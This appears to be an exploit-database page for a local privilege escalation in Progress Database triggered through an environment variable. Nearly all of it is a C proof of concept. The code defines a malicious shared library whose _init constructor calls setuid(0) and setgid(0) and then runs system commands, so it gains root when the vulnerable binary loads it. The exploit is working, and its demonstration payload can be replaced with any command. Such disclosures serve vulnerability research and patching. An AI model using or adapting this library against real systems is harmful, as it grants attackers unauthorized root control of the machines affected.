• info
• discussion
• exploit
• solution
• references

Progress Database Environment Variable Local Privilege Escalation Vulnerability

The following proof of concept was provided:

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}